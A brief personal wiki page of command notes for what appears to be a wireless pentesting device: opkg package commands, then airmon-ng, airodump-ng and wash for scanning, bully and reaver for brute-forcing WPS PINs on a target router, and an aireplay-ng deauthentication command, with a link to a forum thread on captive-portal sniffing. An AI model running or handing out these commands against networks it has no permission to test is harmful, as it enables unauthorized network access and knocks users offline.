Urs-o-Log Wiki

opkg udpate
opkg install …
opkg list-installed
opkg remove …

# Start monitor interface
airmon-ng start wlan0

# Check for WLAN networks nearby
airodump-ng mon0

# Check for WPS enabled devices
wash -i mon0 –ignore-fcs

# Bully for bruteforce attack of WPS key
bully -B mon0 -o <outputfile> -b <BSSID>
Alternative:
reaver -i mon0 -vv -b <BSSID>

# Does not work!?
modprobe rtl8187
iw reg set B0
iw dev wlan0 set txpower auto
# check:
iwlist wlan 0 txpower | grep “Current”

aireplay-ng -0 10 -a <BSSID AP> -c <BSSID CLient; optional> mon0 –ignore-negative-one

https://forums.hak5.org/index.php?/topic/33550-how-can-i-sniff-with-a-captive-portal/